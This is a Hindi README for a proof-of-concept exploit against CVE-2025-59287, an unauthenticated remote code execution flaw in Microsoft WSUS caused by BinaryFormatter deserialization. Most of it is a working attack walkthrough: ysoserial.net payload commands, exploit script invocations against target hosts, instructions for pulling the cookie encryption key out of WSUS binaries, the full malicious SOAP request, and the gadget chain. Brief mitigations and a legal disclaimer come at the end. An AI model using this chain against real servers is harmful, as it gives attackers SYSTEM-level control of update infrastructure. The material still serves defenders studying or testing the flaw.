
CVE-2025-59287 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो WSUS में असुरक्षित BinaryFormatter डिसीरियलाइज़ेशन के माध्यम से एक गंभीर बिना-प्रमाणीकरण वाला RCE है, जो क्राफ्टेड एन्क्रिप्टेड कुकीज़ के ज़रिए SYSTEM विशेषाधिकार प्राप्त करता है।
CVE-2025-59287 माइक्रोसॉफ्ट विंडोज सर्वर अपडेट सर्विसेज (WSUS) में एक गंभीर रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता है। यह भेद्यता EncryptionHelper.DecryptData() विधि में BinaryFormatter के माध्यम से AuthorizationCookie डेटा के असुरक्षित डिसीरियलाइज़ेशन के कारण होती है।
प्रभाव: बिना प्रमाणीकरण वाले हमलावर GetCookie() एंडपॉइंट पर दुर्भावनापूर्ण एन्क्रिप्टेड कुकीज़ भेजकर SYSTEM विशेषाधिकारों के साथ रिमोट कोड एक्ज़ीक्यूशन प्राप्त कर सकते हैं।
CVSS स्कोर: गंभीर (9.8)
BinaryFormatter.Deserialize() को कॉल करना┌─────────────────┐
│ हमलावर │
│ │
│ 1. BinaryFmt │
│ पेलोड │
│ जनरेट करें │
│ │
│ 2. पेलोड │
│ एन्क्रिप्ट │
│ करें │
│ │
│ 3. SOAP │
│ अनुरोध │
│ भेजें │
└────────┬────────┘
│
▼
┌─────────────────┐
│ WSUS सर्वर │
│ │
│ GetCookie() │
│ एंडपॉइंट │
│ │
│ DecryptData() │◄─── भेद्य
│ │
│ BinaryFormatter│◄─── असुरक्षित डिसीरियलाइज़ेशन
│ Deserialize() │
│ │
│ पेलोड │◄─── SYSTEM के रूप में RCE
│ एक्ज़ीक्यूट │
│ करें │
└─────────────────┘
exploit-poc/
├── wsus_exploit.py # मुख्य एक्सप्लॉइट स्क्रिप्ट
├── BinaryFormatterPayloadGenerator.cs # .NET पेलोड जनरेटर (C#)
├── encrypt_payload.py # WSUS एन्क्रिप्शन सहायक
├── requirements.txt # Python निर्भरताएँ
└── README.md # यह फ़ाइल
pip install -r requirements.txt
ysoserial.net का उपयोग करेंविकल्प A: प्रदान किए गए C# जनरेटर का उपयोग करके
# जनरेटर संकलित करें
csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs
# पेलोड जनरेट करें
BinaryFormatterPayloadGenerator.exe calc.exe
# बनाता है: payload_YYYYMMDDHHMMSS.bin
विकल्प B: ysoserial.net का उपयोग करके (अनुशंसित)
ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin
python encrypt_payload.py payload.bin -o encrypted_cookie.txt
महत्वपूर्ण: encrypt_payload.py में एन्क्रिप्शन कुंजी एक प्लेसहोल्डर है। वास्तविक शोषण के लिए, आपको यह करना होगा:
encrypt_payload.py को वास्तविक कुंजी के साथ अपडेट करें# पेलोड फ़ाइल का उपयोग करके (फ्लाई पर एन्क्रिप्ट करेगा)
python wsus_exploit.py -t 192.168.1.100 -f payload.bin
# पूर्व-एन्क्रिप्टेड कुकी का उपयोग करके
python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"
# HTTPS के साथ (पोर्ट 8531)
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin
# एक ही बार में जनरेट, एन्क्रिप्ट और एक्सप्लॉइट करें
BinaryFormatterPayloadGenerator.exe calc.exe
python wsus_exploit.py -t <TARGET_IP> -f payload_*.bin
वास्तविक शोषण के लिए एन्क्रिप्शन कुंजी अवश्य WSUS बाइनरीज़ से निकाली जानी चाहिए।
WSUS DLLs का पता लगाएँ:
%ProgramFiles%\Update Services\WebServices\bin\
या IIS वेब निर्देशिका:
%SystemDrive%\inetpub\wwwroot\wsusadmin\
dnSpy में खोलें (मुफ्त .NET डीकंपाइलर):
Microsoft.UpdateServices.WebServices.dll खोलेंEncryptionHelper खोजें:
Microsoft.UpdateServices.WebServices नेमस्पेसEncryptionHelper क्लास ढूँढेंDecryptData() और EncryptData() विधियों को देखेंसामान्य पैटर्न:
WinDbg या x64dbg का उपयोग करें:
EncryptionHelper.DecryptData() पर ब्रेकपॉइंट सेट करेंप्रोसेस मॉनिटर का उपयोग करें:
IDA Pro या Ghidra का उपयोग करें:
strings उपयोगिता का उपयोग करें:
strings Microsoft.UpdateServices.WebServices.dll | grep -i key
strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
एक बार वास्तविक कुंजी मिल जाने पर, encrypt_payload.py अपडेट करें:
# encrypt_wsus_cookie() में इस लाइन को बदलें:
key_material = b"WSUS_Cookie_Encryption_Key_v1.0" # प्लेसहोल्डर
# वास्तविक कुंजी के साथ:
key_material = b"ACTUAL_KEY_FROM_WSUS_BINARIES"
या कमांड लाइन के माध्यम से पास करें:
python encrypt_payload.py payload.bin -k "ACTUAL_KEY"
┌─────────────────────────────────────────────────────────────┐
│ 1. BinaryFormatter पेलोड जनरेट करें │
│ ObjectDataProvider → Process.Start() → कमांड एक्ज़ीक्यूशन │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 2. पेलोड एन्क्रिप्ट करें │
│ WSUS एन्क्रिप्शन कुंजी के साथ AES-128-CBC │
│ ट्रांसमिशन के लिए Base64 एन्कोड │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 3. SOAP अनुरोध बनाएँ │
│ AuthorizationCookie हेडर में एन्क्रिप्टेड पेलोड होता है │
│ SOAP बॉडी में GetCookie() विधि │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 4. WSUS एंडपॉइंट पर भेजें │
│ POST /ClientWebService/ClientWebService.asmx │
│ पोर्ट 8530 (HTTP) या 8531 (HTTPS) │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 5. WSUS प्रोसेसिंग │
│ DecryptData() कुकी डिक्रिप्ट करता है │
│ BinaryFormatter.Deserialize() पेलोड निष्पादित करता है │
│ → SYSTEM के रूप में RCE │
└─────────────────────────────────────────────────────────────┘
POST /ClientWebService/ClientWebService.asmx HTTP/1.1
Host: <TARGET>:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
User-Agent: WSUS Client
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<AuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
BASE64_ENCRYPTED_BINARYFORMATTER_PAYLOAD
</AuthorizationCookie>
</soap:Header>
<soap:Body>
<GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<cookieType>AuthorizationCookie</cookieType>
</GetCookie>
</soap:Body>
</soap:Envelope>
एक्सप्लॉइट ObjectDataProvider गैजेट चेन का उपयोग करता है:
ObjectDataProvider provider = new ObjectDataProvider();
provider.ObjectInstance = new Process();
provider.MethodName = "Start";
provider.MethodParameters = new Collection<object> { processStartInfo };
जब BinaryFormatter.Deserialize() इसे प्रोसेस करता है, यह स्वचालित रूप से:
ObjectDataProvider को डिसीरियलाइज़ करता हैObjectInstance (Process) पर MethodName ("Start") को इनवोक करता हैMethodParameters (ProcessStartInfo) पास करता हैमाइक्रोसॉफ्ट सुरक्षा अपडेट लागू करें: तुरंत पैच करें
अस्थायी वर्कअराउंड: यदि WSUS की आवश्यकता नहीं है तो पोर्ट ब्लॉक करें
# WSUS पोर्ट पर इनबाउंड ट्रैफ़िक ब्लॉक करें
New-NetFirewallRule -DisplayName "Block WSUS" -Direction Inbound -LocalPort 8530,8531 -Protocol TCP -Action Block
नेटवर्क विभाजन: WSUS एंडपॉइंट तक पहुँच प्रतिबंधित करें
BinaryFormatter बदलें: माइक्रोसॉफ्ट को सुरक्षित सीरियलाइज़ेशन से बदलना चाहिए
System.Text.Json या System.Xml.Serialization का उपयोग करेंइनपुट सत्यापन: व्यापक सत्यापन जोड़ें
न्यूनतम विशेषाधिकार का सिद्धांत: WSUS सेवाओं को न्यूनतम विशेषाधिकारों के साथ चलाएँ
WSUS लॉग जाँचें:
%ProgramFiles%\Update Services\LogFiles\
इनके लिए देखें:
इनके लिए निगरानी करें:
/ClientWebService/ClientWebService.asmx पर SOAP अनुरोध⚠️ चेतावनी: यह एक्सप्लॉइट कोड केवल अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है।
✅ कानूनी उपयोग:
❌ अवैध उपयोग:
इस एक्सप्लॉइट का अनधिकृत उपयोग आपराधिक अभियोजन का कारण बन सकता है। जिम्मेदारी और नैतिकता से उपयोग करें।
याद रखें: हमेशा पृथक, नियंत्रित वातावरण में परीक्षण करें। उन सिस्टमों के खिलाफ कभी उपयोग न करें जिनके मालिक आप नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास नहीं है।